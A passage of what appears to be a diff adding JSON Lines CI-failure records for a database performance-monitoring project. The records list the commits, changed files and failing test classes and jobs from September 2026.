+{"date":"2026-09-22","head_sha":"bbeb6db0e4711c3b18954d49e19932b13b8e2339","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionLogStatusFilterTests.cs","Darling/Darling.Tests/DarlingCollectionLogReadTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Lite/Mcp/McpHealthTools.cs","Lite/Mcp/McpInstructions.cs","Lite/Services/LocalDataService.CollectionHealth.cs","PerformanceMonitor.Collectors/EnumeratedCollectorDriver.cs","PerformanceMonitor.Common/Mcp/McpHelpers.cs"],"failed_classes":["Darling.Tests.DarlingCollectionLogReadTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-22","head_sha":"5b75c5facd0a15d4a4f961fe8a3bdf5522a18439","event":"pull_request","changed_files":["Darling/Darling.Tests/PgServerConfigOverrideLivePostgresTests.cs","Darling/Darling.Tests/PgServerConfigScopeRungTests.cs","Darling/Darling.Tests/QsCaptureModeRouteKnobToastRungTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.Clock.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Blocking.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Config.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Memory.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Posture.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgServerStateTools.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgLoggingAuditReader.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgServerConfigReader.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgTrendReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","PerformanceMonitor.Collectors/PgServerConfigCollector.cs"],"failed_classes":["Darling.Tests.PgServerConfigScopeRungTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-22","head_sha":"d3e2cfc9c915e124c09fcdf77a96e0418fdc6853","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorMeasurementSeamTests.cs","Darling/Darling.Tests/JobHistoryIdentityEpochTests.cs","PerformanceMonitor.Collectors/JobHistoryCollector.cs"],"failed_classes":["PerformanceMonitorLite.Tests.MeasurementContractCensusTests"],"failed_jobs":["build"]}
+{"date":"2026-09-22","head_sha":"3200d274e802ebf3aed589282463748b4c765fc0","event":"pull_request","changed_files":[".github/workflows/build.yml","Lite.Tests/CrossAppGuardCiGateTests.cs"],"failed_classes":["Lite.Tests.WatermarkPolicyTests"],"failed_jobs":["Lite tests (3)"]}
+{"date":"2026-09-22","head_sha":"d81ac503b46e7ec59a9f9c3f5fb9a201c250066b","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionHealthAggregateTests.cs","Darling/Darling.Tests/FleetCollectionHealthMemoTests.cs","Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs","Darling/Darling.Tests/TimescaleAggregateCompressionTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/Darling.Tests/TimescaleSupportTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","PerformanceMonitor.Collectors/CollectorRuntimePrecondition.cs","PerformanceMonitor.Collectors/EnumeratedCollectorDriver.cs"],"failed_classes":["Darling.Tests.IntervalHonestHourlyRollupLiveTests","Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.RetentionReevaluationLiveTests","Darling.Tests.TimescaleAggregateCompressionTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (2)","Darling PG tests (0)"]}
+{"date":"2026-09-22","head_sha":"2b2e634561cbdcd94aa80a013d0f19e4e52670a9","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionHealthAggregateTests.cs","Darling/Darling.Tests/FleetCollectionHealthMemoTests.cs","Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs","Darling/Darling.Tests/StoreObjectConvergenceTests.cs","Darling/Darling.Tests/TimescaleAggregateCompressionTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/Darling.Tests/TimescaleSupportTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","PerformanceMonitor.Collectors/CollectorRuntimePrecondition.cs","PerformanceMonitor.Collectors/EnumeratedCollectorDriver.cs"],"failed_classes":["Darling.Tests.IntervalHonestHourlyRollupLiveTests","Darling.Tests.RetentionReevaluationLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-22","head_sha":"ae851b1a26f31e1c93508a756b066d479ee9bd28","event":"pull_request","changed_files":["Darling/Darling.Tests/HoldEarnedByDeliveryTests.cs"],"failed_classes":["PerformanceMonitorLite.Tests.AlertDeliveryModeThreadingGuardTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-09-22","head_sha":"8ae98e8094848169747dba32a0587c3973eb355d","event":"pull_request","changed_files":["Lite.Tests/FindingStoreTests.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-22","head_sha":"d99e7f9f94b8b1f211debfaaa61747be494b3df1","event":"pull_request","changed_files":["Lite.Tests/FindingStoreTests.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-22","head_sha":"9f4761741f9976124b8890709f0490a75380415d","event":"push","changed_files":["Darling/Darling.Tests/ComposeStatementTimeoutReloadTests.cs","Darling/Darling.Tests/ComposeStatementTimeoutStoreTests.cs","Darling/Darling.Tests/ControlPlaneReloadDurabilityTests.cs","Darling/Darling.Tests/DarlingComposeTests.cs","Darling/Darling.Tests/DarlingManagedRolesTests.cs","Darling/Darling.Tests/NotificationRoutesRungTests.cs","Darling/Darling.Tests/ProvisioningTestSecrets.cs","Darling/Darling.Tests/ScramSha256VerifierTests.cs","Darling/Darling.Tests/ScramVerifierLiveTests.cs","Darling/Darling.Tests/StartupCommandTimeoutTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/ScramSha256Verifier.cs","Darling/PerformanceMonitor.Darling.Storage/StoreStatementStats.cs","Darling/README.md","Darling/tools/provision-roles.sql"],"failed_classes":["Darling.Tests.McpFilterSemanticsLivePostgresTests","PerformanceMonitorLite.Tests.McpPageContractTests"],"failed_jobs":["Lite tests (3)","Darling PG tests (2)"]}
+{"date":"2026-09-22","head_sha":"1792370ebd4f2d9a5a7874b3410fee69ab599d96","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpStoreMetricsToolsTests.cs","Darling/Darling.Tests/StoreMetricsSummaryFirstTests.cs","Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs"],"failed_classes":["PerformanceMonitorLite.Tests.McpPageContractTests"],"failed_jobs":["Lite tests (3)"]}
+{"date":"2026-09-23","head_sha":"7a98743705b31928a967d72f2b88c91a10a6b431","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingPgRuntimeVersionPinTests.cs","Darling/Darling.Tests/DarlingStoreUpgradeTests.cs","Darling/Darling.Tests/StartupCommandTimeoutTests.cs","Darling/Darling.Tests/StoreTimescaleAlertTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreUpgrade.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/README.md","Darling/tools/check-runtime-currency.ps1","Darling/tools/fetch-pg-runtime.ps1"],"failed_classes":["Darling.Tests.CaptureDownChunkOrderTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-23","head_sha":"a498a4ad8e1dc179dd73a28e020bf461f9c10688","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingPgRuntimeVersionPinTests.cs","Darling/Darling.Tests/DarlingStoreUpgradeTests.cs","Darling/Darling.Tests/StartupCommandTimeoutTests.cs","Darling/Darling.Tests/StoreTimescaleAlertTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreUpgrade.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/README.md","Darling/tools/check-runtime-currency.ps1","Darling/tools/fetch-pg-runtime.ps1"],"failed_classes":["Darling.Tests.CaptureDownChunkOrderTests","Darling.Tests.CollectionHealthAggregateTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-23","head_sha":"1e52a8e34fc2dfddaed20c1ac718951efdacb818","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingLockWaitTrendTests.cs","Darling/Darling.Tests/DarlingMcpBlockingToolsTests.cs","Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs","Darling/Darling.Tests/DarlingPerformanceTrendsReadTests.cs","Darling/Darling.Tests/DarlingQueryHeatmapTests.cs","Darling/Darling.Tests/DarlingTrendEmptyTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/DeltaFamilyIntervalCompletionLivePostgresTests.cs","Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpZeroIsAMeasurementTests.cs","Darling/Darling.Tests/TrendBucketingLiveTests.cs","Darling/Darling.Tests/TrendBucketsTests.cs","Darling/Darling.Tests/TrendPayloadBudgetLiveTests.cs","Darling/Darling.Tests/ViewerTrendRoutingPortTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingTrendReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgTrendTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryHeatmapTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgTrendReader.cs","Darling/PerformanceMonitor.Darling.Storage/DurationTrendRouting.cs","Darling/PerformanceMonitor.Darling.Storage/TrendBucketSql.cs","Darling/README.md","Lite.Tests/LockWaitTrendToolTests.cs","Lite.Tests/McpMissMessageParityPinTests.cs","Lite.Tests/PerformanceTrendsToolTests.cs","Lite.Tests/QueryHeatmapToolTests.cs","Lite.Tests/TrendBucketingToolTests.cs","Lite.Tests/TrendEmptyParityToolTests.cs","Lite/Mcp/McpBlockingTools.cs","Lite/Mcp/McpInstructions.cs","Lite/Mcp/McpIoTools.cs","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryStats.cs","Lite/Services/LocalDataService.TrendBuckets.cs","PerformanceMonitor.Common/Mcp/TrendBuckets.cs","PerformanceMonitor.Common/Mcp/TrendPayloads.cs","docs/postgres-first-target-runbook.md"],"failed_classes":["Darling.Tests.LatestValueLookbackLivePostgresTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-23","head_sha":"28c0765ab125cebd227815ace7599970e8dd77b6","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingLockWaitTrendTests.cs","Darling/Darling.Tests/DarlingMcpBlockingToolsTests.cs","Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs","Darling/Darling.Tests/DarlingPerformanceTrendsReadTests.cs","Darling/Darling.Tests/DarlingQueryHeatmapTests.cs","Darling/Darling.Tests/DarlingTrendEmptyTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/DeltaFamilyIntervalCompletionLivePostgresTests.cs","Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpZeroIsAMeasurementTests.cs","Darling/Darling.Tests/TrendBucketingLiveTests.cs","Darling/Darling.Tests/TrendBucketsTests.cs","Darling/Darling.Tests/TrendPayloadBudgetLiveTests.cs","Darling/Darling.Tests/ViewerTrendRoutingPortTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingTrendReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgTrendTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryHeatmapTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgTrendReader.cs","Darling/PerformanceMonitor.Darling.Storage/DurationTrendRouting.cs","Darling/PerformanceMonitor.Darling.Storage/TrendBucketSql.cs","Darling/README.md","Lite.Tests/LockWaitTrendToolTests.cs","Lite.Tests/McpMissMessageParityPinTests.cs","Lite.Tests/PerformanceTrendsToolTests.cs","Lite.Tests/QueryHeatmapToolTests.cs","Lite.Tests/TrendBucketingToolTests.cs","Lite.Tests/TrendEmptyParityToolTests.cs","Lite/Mcp/McpBlockingTools.cs","Lite/Mcp/McpInstructions.cs","Lite/Mcp/McpIoTools.cs","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryStats.cs","Lite/Services/LocalDataService.TrendBuckets.cs","PerformanceMonitor.Common/Mcp/TrendBuckets.cs","PerformanceMonitor.Common/Mcp/TrendPayloads.cs","docs/postgres-first-target-runbook.md"],"failed_classes":["Darling.Tests.LatestValueLookbackLivePostgresTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-23","head_sha":"eb4c4173c312575d7a8b99912eb7f878427aebf3","event":"pull_request","changed_files":["Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/Darling.Tests/MaterializationHoleScanShapeTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs"],"failed_classes":["Darling.Tests.CollectionHealthAggregateTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-23","head_sha":"19e4ce66f252c454e14bf2562fb9bf16f0fc1751","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpStoreMetricsToolsTests.cs","Darling/Darling.Tests/PgTableTuningTests.cs","Darling/Darling.Tests/StoreMetricsLatestSkipScanLiveTests.cs","Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgTableTuning.cs"],"failed_classes":["Darling.Tests.StoreMetricsSummaryFirstLivePostgresTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-23","head_sha":"145ae76294a6c11c49715f71887fa116b02ea8c6","event":"push","changed_files":["Darling/Darling.Tests/LatestValueLookbackTests.cs","Darling/Darling.Tests/StoreConfigProviderTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Config.cs","Darling/PerformanceMonitor.Darling.Analysis/PgLatestValueBounds.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Lite.Tests/LatestValueLookbackTests.cs","Lite.Tests/OnLoadRecaptureScheduleTests.cs","Lite/Analysis/DuckDbFactCollector.Config.cs","Lite/Analysis/LatestValueBounds.cs","Lite/Services/ScheduleManager.cs","PerformanceMonitor.Collectors/CollectorScheduleDefaults.cs"],"failed_classes":["PerformanceMonitorLite.Tests.EntraDeviceCodeTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-09-23","head_sha":"138ddd4992ac3b6d94d45f990e18d5f95f241672","event":"pull_request","changed_files":["Darling/Darling.Tests/PgDeadlockLogTimezoneTests.cs","Darling/Darling.Tests/PgDeadlockNormalizationTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgTargetDeadlockDrillDownTests.cs","Darling/Darling.Tests/RdsDeadlockIngestorTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFindingStore.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Deadlocks.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgDeadlockTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgDeadlockReader.cs","Darling/README.md","Lite.Tests/PgDeadlockLogParserTests.cs","Lite.Tests/PgLoggingCollectorGateTests.cs","PerformanceMonitor.Collectors/PgDeadlockLogParser.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgLogEntryAssembler.cs","PerformanceMonitor.Collectors/PgLogTextRedactor.cs","docs/postgres-first-target-runbook.md"],"failed_classes":["Darling.Tests.LiveCleanupConversionRatchetTests"],"failed_jobs":["Darling PG tests (2)","build"]}
+{"date":"2026-09-23","head_sha":"f43c826d2ba28bedb2e33bd881aff8baaf6ea69f","event":"pull_request","changed_files":["Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Lite.Tests/PgPlanCaptureCollectorDefinitionTests.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgPlanLogParser.cs"],"failed_classes":["Lite.Tests.PgPlanLogParserTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-09-23","head_sha":"32239fd3498a1fa9ce1cc1cce057f21c04f5221a","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/PgDeadlockRemaskTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/PgDeadlockRemask.cs","Darling/README.md"],"failed_classes":["PerformanceMonitorLite.Tests.MemoryTrendGrantJoinToolTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-09-23","head_sha":"960a4458e220afbb19990a2929b6c8c1f72201e8","event":"push","changed_files":["Darling/Darling.Tests/FleetIdentifierScrubTests.cs","Darling/Darling.Tests/PgLogEventMetricsTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgLogHashKeyTests.cs","Darling/Dockerfile","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingLogHashKeyFile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgLogEventTools.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgLogEventReader.cs","Darling/README.md","Darling/compose/docker-compose.yml","Lite.Tests/AuroraOnlySqlIsGatedTests.cs","Lite.Tests/PgServerLogPathPinTests.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/PgLogEvent.cs","PerformanceMonitor.Collectors/PgLogEventClassifier.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgLogHashKey.cs","PerformanceMonitor.Collectors/PgLogTextRedactor.cs"],"failed_classes":["PerformanceMonitorLite.Tests.MemoryTrendGrantJoinToolTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-09-23","head_sha":"bb2f5cd5194c69dbff41a63114fb670516bc3062","event":"pull_request","changed_files":["Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgLogTailStderrSiblingLiveTests.cs","Darling/Darling.Tests/PgLoggingCollectorOffTests.cs","Darling/Darling.Tests/RdsLogSourceTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogSource.cs","Lite.Tests/PgLoggingCollectorGateTests.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgNoStderrLogFileException.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs"],"failed_classes":["Darling.Tests.CollectionLogDrainForensicsStoreTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-23","head_sha":"00fcf92e55a07ac47ded88666423c2633c92c1e7","event":"pull_request","changed_files":["Darling/Darling.Tests/AbandonedRunEraInvariantReadTests.cs","Darling/Darling.Tests/CollectionOutputBesideCostTests.cs","Darling/Darling.Tests/CollectorHealthClassifierTests.cs","Darling/Darling.Tests/ProductiveZeroBandingTests.cs","Darling/Darling.Tests/RegressedFromProductiveTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs","Lite.Tests/CollectionOutputBesideCostTests.cs","Lite.Tests/CollectorHealthClassifierTests.cs","Lite.Tests/RegressedFromProductiveTests.cs","Lite/Services/LocalDataService.CollectionHealth.cs","PerformanceMonitor.Common/ServerHealthBands.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests","Darling.Tests.ViewerDailyHealthLivePostgresTests","Darling.Tests.ViewerDailyHealthRowTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (0)","Darling PG tests (2)"]}
+{"date":"2026-09-23","head_sha":"145dd4df66e41917b7183ce89402f7244e03ee1a","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingInstallLocationTests.cs","Darling/README.md","Darling/tools/install-darling.ps1","Darling/tools/upgrade-darling.ps1"],"failed_classes":["Darling.Tests.DarlingInstallLocationTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-23","head_sha":"68361e125b316082d7c8b001001046233e0b2381","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingInstallLocationTests.cs","Darling/README.md","Darling/tools/install-darling.ps1","Darling/tools/upgrade-darling.ps1"],"failed_classes":["Darling.Tests.DarlingInstallLocationTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-23","head_sha":"4fdaebdec47a70e41dc46a40b73146e9e5606741","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/PgDeadlockRemaskTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/PgDeadlockRemask.cs","Darling/README.md","PerformanceMonitor.Collectors/PgLogHashKey.cs","PerformanceMonitor.Notifications/AnalysisNotificationService.cs","PerformanceMonitor.Notifications/PerformanceMonitor.Notifications.csproj"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["Darling PG tests (1)","build"]}
+{"date":"2026-09-23","head_sha":"21634fced037b669ab0c3928de1423c73786d243","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingInstallLocationTests.cs","Darling/README.md","Darling/tools/install-darling.ps1","Darling/tools/upgrade-darling.ps1"],"failed_classes":["Darling.Tests.DarlingInstallLocationTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-23","head_sha":"2d6ed6393b55ea5b7e58fb53682dadb145991ad8","event":"pull_request","changed_files":["Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolGuideTests.cs","Darling/Darling.Tests/McpToolsListBudget.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/McpUnknownArgumentGuardTests.cs","Darling/Darling.Tests/McpZeroIsAMeasurementTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHealthParserTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpToolGuideTools.cs","Lite.Tests/McpDescriptionTruthPinTests.cs","Lite.Tests/McpSchemaCompatTests.cs","Lite.Tests/McpToolGuideTests.cs","Lite.Tests/McpToolsListBudget.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite/Mcp/McpHealthParserTools.cs","Lite/Mcp/McpHostService.cs","Lite/Mcp/McpInstructions.cs","Lite/Mcp/McpToolGuideTools.cs","PerformanceMonitor.Common/Mcp/McpSchemaCompat.cs","PerformanceMonitor.Common/Mcp/McpToolGuide.cs","PerformanceMonitor.Common/Mcp/McpToolGuideTopics.cs","README.md","llms.txt"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests","Darling.Tests.DarlingWebEndpointsTests"],"failed_jobs":["build","Darling PG tests (2)"]}
+{"date":"2026-09-23","head_sha":"a7abf470ffac68b086108acf3623ac038dff5a9f","event":"pull_request","changed_files":["Darling/Darling.Tests/RdsDeadlockIngestorTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockIngestor.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsIngestOutcome.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/PgBinaryTailText.cs","PerformanceMonitor.Collectors/PgDeadlockLogParser.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgReadBinaryFileCapability.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.StragglerCommandTimeoutTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (1)","build"]}
+{"date":"2026-09-23","head_sha":"0619bcb5c2f14074a43287996b5f3442c56b7042","event":"pull_request","changed_files":["Darling/Darling.Tests/PgBinaryTailTextTests.cs","Darling/Darling.Tests/PgReadBinaryFileAdvisoryTests.cs","Darling/Darling.Tests/PgReadBinaryFileCapabilityTests.cs","Darling/Darling.Tests/PgServerLogTailBinaryRouteTests.cs","Darling/Darling.Tests/PostgresFaultOutcomeTests.cs","Darling/Darling.Tests/RdsDeadlockIngestorTests.cs","Darling/Darling.Tests/RdsLogEventIngestorTimezoneTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockIngestor.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsIngestOutcome.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs","Darling/README.md","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/PgBinaryTailText.cs","PerformanceMonitor.Collectors/PgDeadlockLogParser.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgReadBinaryFileAdvisory.cs","PerformanceMonitor.Collectors/PgReadBinaryFileCapability.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs","docs/postgres-first-target-runbook.md","tools/pg-verification-rig/README.md"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.PgReadBinaryFileCapabilityTests","Darling.Test